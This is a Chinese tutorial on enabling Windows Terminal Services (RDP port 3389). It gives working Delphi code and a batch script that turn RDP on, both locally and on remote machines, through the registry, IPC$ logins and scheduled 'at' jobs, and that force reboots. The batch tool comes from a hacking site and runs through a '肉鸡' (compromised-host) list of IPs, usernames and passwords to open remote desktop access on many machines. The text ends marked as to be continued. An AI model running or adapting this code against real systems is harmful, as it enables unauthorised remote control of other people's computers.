Windows Server以上的版本都提供了一个基于TCP协议的服务叫终端服务.因为它的监听端口默认为3389,所以俗称3389.实际上,微软开发终端服务的初衷,是为了抗衡UNIX的多用户服务,我去年利用业余时间为一公司开发机顶盒项目时接触到这一块,该项目的核心是把一个Linux系统精减到最小后写入启动芯片,启动后通过我们的客户端程序登陆服务器的终端服务,从而使用服务器上面的所有资源,用几百元的成本生产的机顶盒模拟出奔四电脑的功能来.当然,该系统比较庞大,还涉及到视频传输等与教学相关的功能.RDP只不过是其中一小块.而且该系统是基于Linux下的程序,不过协议部分在Windows平台下也是通用的.现在把当时的一些小技巧写出来供大家参考.文章分为开启3389,使用3389和3389的实质---RDP协议剖析三大部分.
一:开启终端服务 终端服务使用的其实是RDP协议.默认情况下,操作系统是没有启动这个服务的.要开启这个服务,可以通过"添加删除Windows组件"来实现,或者在系统管理的"服务"里面直接启动.其实,安装完操作系统的时候,Windows已经把终端服务所需要的文件都安装了,要启动它,只要修改注册表然后重新启动电脑即可.
1:开启本地终端服务.打开Delphi,编译以下代码,即可生成一个大小为11KB的StartRdp.exe,运行它即可打开本机的终端服务了.
program StartRdp; {=======================================================} { } { 深入浅出3389 - 打开本机3389代码 } { } { 版权所有 (c) 2004 陈经韬 } { } { http://www.138soft.com } { } {=======================================================} uses Windows; {$R *.res}
procedure AdjustToken();{NT内核电脑关机需要通过本函数获取特权} var hdlProcessHandle: Cardinal; hdlTokenHandle: Cardinal; tmpLuid: Int64; tkp: TOKEN_PRIVILEGES; tkpNewButIgnored: TOKEN_PRIVILEGES; lBufferNeeded: Cardinal; Privilege: array[0..0] of _LUID_AND_ATTRIBUTES; begin hdlProcessHandle := GetCurrentProcess; OpenProcessToken(hdlProcessHandle, (TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY),hdlTokenHandle); LookupPrivilegeValue('', 'SeShutdownPrivilege', tmpLuid); Privilege[0].Luid := tmpLuid; Privilege[0].Attributes := SE_PRIVILEGE_ENABLED; tkp.PrivilegeCount := 1; // One privilege to set tkp.Privileges[0] := Privilege[0]; AdjustTokenPrivileges(hdlTokenHandle,False,tkp,Sizeof(tkpNewButIgnored), tkpNewButIgnored,lBufferNeeded); end;
function MyRegWriteInteger (RootKey:HKEY;SubKey:String;KeyName:String;Value:integer):Boolean; var key : HKEY; ret : integer; chg : DWORD; begin Result:=False; key := 0; ret := RegCreateKeyEx(RootKey,Pchar(SubKey),0,Nil,REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS,Nil,key,@chg); if (ret<>ERROR_SUCCESS) or (key=0) then exit; try RegSetValueEx(key,Pchar(KeyName),0,REG_DWORD,@Value,sizeof(Value)); finally RegCloseKey(key); end; Result:=True; end;
const RootKey:array[1..6] of HKEY=(HKEY_LOCAL_MACHINE, HKEY_LOCAL_MACHINE, HKEY_LOCAL_MACHINE, HKEY_LOCAL_MACHINE, HKEY_LOCAL_MACHINE, HKEY_LOCAL_MACHINE); SubKey:array[1..6] of String=('SOFTWAREMicrosoftWindowsCurrentVersionnetcache', 'SOFTWAREPoliciesMicrosoftWindowsInstaller', 'SYSTEMCurrentControlSetControlTerminal Server', 'SYSTEMCurrentControlSetServicesTermDD', 'SYSTEMCurrentControlSetServicesTermService', 'SYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp'); KeyName:array[1..6] of String=('Enabled','EnableAdminTSRemote','TSEnabled', 'Start','Start','PortNumber'); Value:array[1..6] of integer=(0,1,1,2,2,3389); var i:integer; begin for i:=1 to 6 do MyRegWriteInteger(RootKey[i],SubKey[i],KeyName[i],Value[i]); AdjustToken; {获取关机特权} ExitWindowsEx(EWX_REBOOT + EWX_FORCE, 0);{重启电脑} end.
2:开启远程3389服务方法之一:修改远程电脑注册表 如果对方电脑开了远程注册表服务(默认情况下是开),那么我们可以直接连接该电脑然后修改它的注册表即可.简单的调用下面的函数即可实现向指定计算机的注册表写入键值. function My_NetRegWriteInteger(StrServerName:String;RegRootKey:HKEY;StrSubKey,StrValueName:String;intValue:integer):Boolean; begin Result:=False; with TRegistry.Create(KEY_READ or KEY_WRITE) do try RootKey:=RegRootKey; if (StrServerName [1] <> '') and (StrServerName [2] <> '') then StrServerName:='\'+StrServerName; if not RegistryConnect(StrServerName) then Exit; if not OpenKey(StrSubKey,True) then Exit; try WriteInteger(StrValueName,intValue); except Free; Exit; end; Result:=True; finally CloseKey; Free; end; 写入注册表后,需要远程重新启动该电脑. (1)第一步:使用NetUser连接对方电脑: function NetUse(const Server, User, Pasword: String): Boolean; var NetSource : TNetResource; Re:integer; begin with NetSource do begin dwScope:=2; dwDisplayType:=2; dwUsage:=10; lpComment:=nil; dwType := RESOURCETYPE_ANY; lpLocalName :=pchar(''); lpRemoteName:=Pchar('\'+Trim(Server)+'ipc$'); lpProvider := nil; end; Re:=WnetAddConnection2(NetSource,pchar(Trim(Pasword)),pchar(Trim(User)),CONNECT_UPDATE_PROFILE); Result:=Re=0; {53:无法知道服务器.1219:提供的凭据与已存在的凭据集冲突。 } if Re=0 then MemoInfo.Lines.Add('登陆'+Server+'成功!') else MemoInfo.Lines.Add('登陆'+Server+'失败!原因:'+GetErrorMessage(Re)); end; (2)第二步,连接成功后,提升程序的SE_REMOTE_SHUTDOWN_NAME特权.这样才能关闭或重启远程电脑.具体代码见上面的提升关闭本地计算机权限代码. (3)第三步:调用API函数InitiateSystemShutdown重启远程电脑. if not InitiateSystemShutdown(Pchar(Edit_Server.Text),Pchar(''),0,True,True) then begin MemoInfo.Lines.Add('远程重启失败!'); Exit; end else MemoInfo.Lines.Add('远程重启成功!'); end;
3:开启远程3389服务方法之二:利用IPC原理,直接建立一个批处理文件,打开该批处理文件后,远程电脑即可完成开启3389功能.下面是一个网上找到的批处理文件.把下面内容直接保存为扩展名为BAT的文件然后打开即可.
@echo off color 3e cls
Rem ==========================以下是ipc.bat的内容=========== echo @echo off >ipc.bat echo echo. >>ipc.bat echo echo 正在连接%%1... >>ipc.bat echo echo. >>ipc.bat echo net use \%%1ipc$ %%3 /user:%%2 ^& IF errorlevel 1 goto :Error >>ipc.bat echo echo 正在查询%%1的当前时间 >>ipc.bat echo echo. >>ipc.bat echo net time \%%1 /set /y ^& IF errorlevel 1 goto :Error >>ipc.bat echo for /f "tokens=1,2 delims=:" %%%%i in ("%%time%%") do set /a hh=%%%%i ^& set /a mm=%%%%j >>ipc.bat echo echo %%1当前时间为%%hh%%:%%mm%% >>ipc.bat echo set /a mm=%%mm%%+1 >>ipc.bat echo if /i %%mm%% geq 60 set /a mm=0 ^& set /a hh=%%hh%%+1 >>ipc.bat echo if /i %%hh%% geq 24 set /a hh=0 >>ipc.bat echo set tm=%%hh%%:%%mm%% >>ipc.bat echo echo. >>ipc.bat echo echo 设置启动3389服务的时间为%%tm%% >>ipc.bat echo echo. >>ipc.bat echo at \%%1 %%tm%% cmd /c echo [Components] ^^^> syslog ^& IF errorlevel 1 goto :Error >>ipc.bat echo echo. >>ipc.bat echo at \%%1 %%tm%% cmd /c echo TSEnable = on ^^^>^^^> syslog ^& IF errorlevel 1 goto :Error >>ipc.bat echo echo. >>ipc.bat echo at \%%1 %%tm%% sysocmgr /i:c:winntinfsysoc.inf /u:c:winntsystem32syslog /q ^& IF errorlevel 1 goto :Error >>ipc.bat echo echo. >>ipc.bat echo echo 最多再过60秒,3389服务就会被启动,请稍侯... >>ipc.bat echo echo. >>ipc.bat echo echo 对方正准备重启,请等待对方重器后,3389服务才会 生效... >>ipc.bat echo goto :BYE >>ipc.bat echo :Error >>ipc.bat echo echo. >>ipc.bat echo net use \%%1ipc$ /del /y >>ipc.bat echo echo %%1出现错误,命令不能成功完成! >>ipc.bat echo echo. >>ipc.bat echo goto :exit >>ipc.bat echo :BYE >>ipc.bat echo echo. >>ipc.bat echo net use \%%1ipc$ /del /y >>ipc.bat echo echo %%1成功完成所有命令 >>ipc.bat echo echo. >>ipc.bat echo :exit >>ipc.bat echo echo ------------------------------------------------------ >>ipc.bat echo exit >>ipc.bat Rem ======================================完================
if {%1}== {} goto :Usage if {%2}== {} goto :file if {%3}== {} goto :Usage if not {%3}== {} goto :open
:File echo ====================================================== if not exist %1 echo 指定文件不存在! & pause & goto Usage for /f "tokens=1-3 delims= " %%i in (%1) do start /b /wait ipc.bat %%i %%j %%k goto exit
:Open echo ====================================================== start /b /wait ipc.bat %1 %2 %3 goto exit
:Usage cls echo ====================================================== echo ====================================================== echo 完全用批处理写的远程开启3389服务的工具。不依赖管理 共享了。 echo 作者:铁血 echo 主页:http://txhak.myrice.com/ echo 邮箱:txhak@etang.com echo QQ: 22540685 echo tx3389.bat [IP] [用户名] [密码] echo tx3389.bat [肉鸡文件] echo 如果指定肉鸡文件批处理将从文件中读取ip 用户名 密码 echo 肉鸡文件的文件格式为ip 用户名 密码。空格隔开。 echo 例1:tx3389 192.168.0.2 user "" echo 例2:tx3389 file.txt echo 肉鸡文件格式如下(空格隔开): echo 192.168.0.1 user "" echo 192.168.0.2 administrator 123 echo 192.168.0.24 administrator admin echo ------------------------------------------------------
:exit
(待续) |